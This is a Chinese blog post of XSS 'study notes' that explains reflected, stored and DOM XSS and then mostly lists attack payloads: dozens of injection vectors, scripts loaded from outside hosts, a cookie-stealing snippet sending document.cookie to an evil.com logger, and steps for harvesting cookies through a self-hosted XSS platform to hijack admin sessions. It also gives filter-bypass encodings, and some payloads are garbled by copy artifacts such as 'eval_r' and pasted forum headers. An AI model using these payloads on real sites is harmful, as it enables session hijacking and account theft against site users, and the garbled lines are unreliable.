XSS漏洞学习笔记

11 篇文章 0 订阅
4 篇文章 0 订阅

目录

一.xss 漏洞介绍

 二.XSS 攻击的危害包括

 三.xss 防御

四. xss 漏洞的类型

4.1反射型 XSS

 4.2存储型 xss

 4.3dom 型 xss

 五.xss 测试语句

六.xss 攻击语句

 七.加载远程攻击的 paylod

八.搭建 xss 漏洞利用平台

 九.利用 xss 平台盗取 cookie 登录

十 . xss 编码绕过

10.1 gpc 过滤字符

10. 2过滤 alert

10.3过滤标签

10.4ascii 编码

10.5.url 编码

10.6JS 编码

10.7 HTML 编码

10.8 base64 编码

总结


一.xss 漏洞介绍

XSS 攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS) 的缩写混淆,故将跨站脚本攻击缩写为 XSS,XSS 是一种在 web 应用中的计算 机安全漏洞,它允许恶意 web 用户将代码植入到 web 网站里面,供给其它用户 访问,当用户访问到有恶意代码的网页就会产生 xss 攻击。

 二.XSS 攻击的危害包括

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其它网站发起攻击

 三.xss 防御

XSS 防御的总体思路是:对输入(和 URL 参数)进行过滤,对输出进行编码。 也就是对提交的所有内容进行过滤,对 url 中的参数进行过滤,过滤掉会导致脚 本执行的相关内容;然后对动态输出到页面的内容进行 html 编码,使脚本无法 在浏览器中执行。

四. xss 漏洞的类型

4.1反射型 XSS

反射型 XSS,非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码。 反射型 xss 攻击的方法,攻击者通过发送邮件或诱导等方法,将包含有 xss 恶意 链接发送给目标用户,当目标用户访问该链接时,服务器将接收该用户的请求并 进行处理,然后服务器把带有 xss 恶意脚本发送给目标用户的浏览器,浏览器解 析这段带有 xss 代码的恶意脚本后,就会触发 xss 攻击。

 代码分析:

 在反射型 xss 代码中,首先判断$_GET['mssage']是否等于 kobe,如果不是则在页 面中将$_GET['mssage']复制给$html 变量中,而且没有任何过滤再输出到页面中, 所以直接输入页面会直接输出 xss 信息,就会造成 xss 攻击。

http://192.168.1.105/06/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%27hello+xss%27%29%3C%2Fscript%3E&submit=submit

 4.2存储型 xss

存储型 XSS,持久化,代码是存储在服务器中的数据库里,如在个人信息或发表 文章等地方,可以插入代码,如果插入的数据没有过滤或过滤不严,那么这些恶 意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码 过滤输出到浏览器上,就会触发代码执行,造成 xss 攻击。

 代码分析:

 在存储型 xss 代码分析中,看到留言的 inster into 语句中,直接插入留言信息, 没有任何过滤,输入恶意代码,这个代码将记录在数据中。输入攻击语句。

 浏览器在访问该页面的时,恶意代码会从数据库字段里取出这条记录,没有经过 任何处理就直接输出。

只要浏览器访问这个页面,就会显示弹窗。

 

 4.3dom 型 xss

DOM,全称 Document Object Model,是一个平台和语言都中立的接口,可以使 程序和脚本能够动态访问和更新文档的内容、结构以及样式。 DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型 的一种漏洞。 在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个 顶级的 Document object 文档对象,接着生成各个子文档对象,每个页面元素对 应一个文档对象,每个文档对象包含属性、方法和事件。可以通过 JS 脚本对文 档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过 DOM 来动态修改页面内容,从客户端获取 DOM 中的数据并在本地执行。基于 这个特性,就可以利用 JS 脚本来实现 XSS 漏洞的利用。 以下是一些经常出现 dom xss 的关键语句

document.referer 属性

window.name 属性

location 属性

innerHTML 属性

documen.write 属性

 DOM 型 xss 程序中,只有 html 代码,dom 通过操作 HTML 或者 css 实现 HTML 属性、方法、事件,因此程序中没有与服务器进行交互。

 点击按钮时,会调用 domxss()函数,跟踪 domxss 函数

function domxss(){ 
var str = document.getElementById("text").value; 
document.getElementById("dom").innerHTML = "what do you see?"; 
}

获取 id text 文本的值,修改 id 为 dom 的 html 值,输入 ' οnclick="alert('dom xss 漏洞')"> 闭合前面的单引号,即可。

 五.xss 测试语句

在网站是否存在 xss 漏洞时,应该输入一些标签如输入后查看网页源代码是 否过滤标签,如果没过滤,很大可能存在 xss 漏洞。 常用的测试语句:

<h5>1</h5>
<span>1</span>
<script>console.log(1);</script>
闭合
"><span>x</span><"
'>"><span>x</span><'
单行注释
"><span>x</span>//

六.xss 攻击语句

输入检测确定标签没有过滤后,为了显示存在漏洞,需要插入 xss 攻击代码。 常用的语句:

<script>alert(1)</script>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<a href='javascript:alert(1)'>aa</a>

更多的xss攻击语句:

(1)普通的 XSS JavaScript 注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG 标签 XSS 使用 JavaScript 命令
<IMG SRC=http://3w.org/XSS/xss.js/>
(3)IMG 标签无分号无引号
<IMG SRC=javascript:alert('XSS')>
(4)IMG 标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert('XSS')>
(5)HTML 编码(必须有分号)
<IMG SRC=javascript:alert("XSS")>
(6)修正缺陷 IMG 标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
(7)formCharCode 标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8 的 Unicode 编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
(11)嵌入式标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(12)嵌入式编码标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(13)嵌入式换行符
<IMG SRC="jav ascript:alert('XSS');">
(14)嵌入式回车
<IMG SRC="jav ascript:alert('XSS');">
(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子
<IMG SRC="javascript:alert('XSS')">
(16)解决限制字符(要求同页面)
<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><s
cript>z=z+'
src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.ne
t/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)<
/script>
(17)空字符 12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG
SRC=java\0script:alert(\"XSS\")>";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
(19)Spaces 和 meta 前的 IMG 标签
<IMG SRC=" javascript:alert('XSS');">
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(23)双开括号
<<SCRIPT>alert("XSS");//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRChttp://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记 2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的 HTML/JavaScript XSS
<IMG SRC="javascript:alert('XSS')"
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
(29)换码过滤的 JavaScript
\";alert('XSS');//
(30)结束 Title 标签
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
(31)Input Image
<INPUT SRC="javascript:alert('XSS');">
(32)BODY Image
<BODY BACKGROUND="javascript:alert('XSS')">
(33)BODY 标签
<BODY('XSS')>
(34)IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
(35)IMG Lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
(36)BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
(37)STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
(38)远程样式表
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
(41)META 链接 url
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">
(42)Iframe
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz!
Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND="javascript:alert('XSS')">
(45)TD
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
(46)DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(47)DIV background-image 后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(48)DIV expression
<DIV STYLE="width: expression_r(alert('XSS'));">
(49)STYLE 属性分拆表达
<IMG STYLE="xss:expression_r(alert('XSS'))">
(50)匿名 STYLE(组成:开角号和一个字母开头)
<XSS STYLE="xss:expression_r(alert('XSS'))">
(51)STYLE background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A>
(52)IMG STYLE 方式
exppression(alert("XSS"))'>
(53)STYLE background
<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
(54)BASE
<BASE HREF="javascript:alert('XSS');//">
(55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS
<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
(57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上
<HTML xmlns:xss><?import namespace="xss"
implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>
(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用
<SCRIPT SRC=""></SCRIPT>
(59)IMG 嵌入式命令,可执行任意命令
<IMG SRC="http://www.a.com/a.php?a=b">
(60)IMG 嵌入式命令(a.jpg 在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
(62)<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>
(63)<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>
(64)<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>
(65)<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>"
SRC="http://3w.org/xss.js"></SCRIPT>
(67)<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>
(68)URL 绕行
<A HREF="http://127.0.0.1/">XSS</A>
(69)URL 编码
<A HREF="http://3w.org">XSS</A>
(70)IP 十进制
<A HREF="http://3232235521″>XSS</A>
(71)IP 十六进制
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP 八进制
<A HREF="http://0300.0250.0000.0001″>XSS</A>
(73)混合编码
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>
(74)节省[http:]
<A HREF="//www.google.com/">XSS</A>
(75)节省[www]
<A HREF="http://google.com/">XSS</A>
(76)绝对点绝对 DNS
<A HREF="http://www.google.com./">XSS</A>
(77)javascript 链接
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

xss 漏洞能够通过构造恶意的 xss 语句实现很多功能,其中最常用的时,构造 xss 恶意代码获取对方浏览器的 cookie。 保存为 js:

var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

<script src="http://192.168.0.127/xss.js"></script>当发现存在 xss 漏洞时,如果只是弹出信息窗口,这样只能证明存在一个 xss 漏 洞,想再进一步深入的话,就必须学会加载 xss 攻击 payload。同时加载 payload 也要考虑到语句的长度,语句是越短越好,因为有的插入语句的长度会被限制。 常见的加载攻击语句有 单引号 可以去掉可以变成 这种格式如果网站是 http 会自动加载 http,如 果网站是 https 会自动变成 https

在 kali 里面打开 sudo python -m SimpleHTTPServer 80 小型 web 服务 登陆 dvwa 后台输入 xss 代码,插入之后,受害者访问该网页就会把它的 cookie 发送到 kali 的 web 服务上。查看日志就能得到 cookie

 

 七.加载远程攻击的 paylod

常见的标准 payload 注意 网站采用的协议。

<script src="http://192.168.0.121/xss.js"></script>
<script src="https://192.168.0.121/xss.js"></script>
自动选择协议
<script src=//192.168.0.121/xss.js></script>

图片创建加载连接

<img src=''
onerror=document.body.appendChild(document.createElement('script')).src='//192.168.0.110/xss.
js'>

字符并接

这种一般是输入的字符有限制的时候使用
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://www.'</script>
<script>z=z+'xsstools'</script>
<script>z=z+'.com/a'</script>
<script>z=z+'mER></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>
有的情况要用/**/注释不需要的代码。

jquery 加载

<script>$.getScript("//www.xsstools.com/amER");</script>

八.搭建 xss 漏洞利用平台

xss 漏洞利用平台,集合了 xss 攻击的多种方法,很方便快捷的利用 xss 漏洞,生 成攻击代码。 使用 phpstudy 新建网站和数据库

 下载源码http:// https://github.com/78778443/xssplatform 解压当前目录 填写信息即可安装。

 设置为伪静态

 测试伪静态

 创建攻击模块 选择 keepsession 如果攻击成功后,cookie 一直会请求刷新。

 

 九.利用 xss 平台盗取 cookie 登录

将恶意代码插入存在漏洞的页面,当用户访问有问题的网页时,浏览器会加载恶 意的攻击代码,会获取当前受害者访问网站的 cookie 发送到攻击者的服务器里。 在留言处插入 xss 恶意'"> 用户访问带有恶意代码的网页 发送用户的访问该网页的 cookie

 xss 利用平台获取的 cookie 如果获取的 cookie 是后台管理员登录的认证 cookie,

 替换 cookie 即可登录后台。 以 dvwa 存储型 xss 漏洞为例,输入恶意代码

 用户登录后,访问带有恶意代码的网页,盗取 cookie 发送到攻击者服务端。攻 击者盗取 cookie 后 访问该页面,修改 cookie 即可登录有验证的后台。

 

十 . xss 编码绕过

10.1 gpc 过滤字符

如果 gpc 开启的时候,特殊字符会被加上斜杠即,'变成\' xss 攻击代码不要带用 单引号或双引号。 绕过 gpc 在 php 高 版本 gpc 默认是没有的,但是开发程序员会使用 addcslashes() 对特殊字符进行转义。

<script src='http://www.xss123.com/JGdbsl?1623638390'></script>这个是执行不了
的
<script src=http://www.xss123.com/JGdbsl?1623638390></script> 没有单引号可执
行。

10. 2过滤 alert

当页面过滤 alert 这个函数时,因为这个函数会弹窗,不仅很多程序会对他进行 过滤,而且很多 waf 都会对其进行拦截。所以不存在 alert 即可

<script>prompt(/xss/);</script>
<script>confirm(1);</script>
<script src=http://www.xss123.com/eciAKj?1623635663></script>

10.3过滤标签

在程序里如果使用 html 实体过滤 在 php 会使用 htmlspecialchars()对输入的字符 进行实体化 实体化之后的字符不会在 html 执行。把预定义的字符 "" (大于)转换为 HTML 实体,构造 xss 恶意代码大多数都必须使用,这两个字符被实体化后在 html 里就不能执行了。

预定义的字符是:

& (和号)成为 &amp
" (双引号)成为 &quot ’ (单引号)成为&#039
< (小于)成为 &lt
>(大于)成为 &gt

但是有在 input 这些标签里是不用考虑标签实体化,因为用不上<>这两个标签。

10.4ascii 编码

<script>alert(String.fromCharCode(88,83,83))</script>

10.5.url 编码

<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>

10.6JS 编码

https://www.jb51.net/tools/zhuanhuan.html


八进制编码
<script>eval("\141\154\145\162\164\50\61\51");</script>
16 进制编码
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
jsunicode 编码
<script>\u0061\u006c\u0065\u0072\u0074('xss');</script>

10.7 HTML 编码

在=后可以解析 html 编码

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;" />
<button onclick="confirm('7&#39;);">Button</button>
十六进制
<img src="x" onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"
/>

10.8 base64 编码

使用伪协议 base64 解码执行 xss

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

总结

xss还是比较简单的一种web漏洞,还需要实战训练,后续更新实战的文章。加油。

今天送给自己的话:

                              今天的我们伤痕累累,但比起昨日,我们应该多少有所成长。
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

夜yesec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值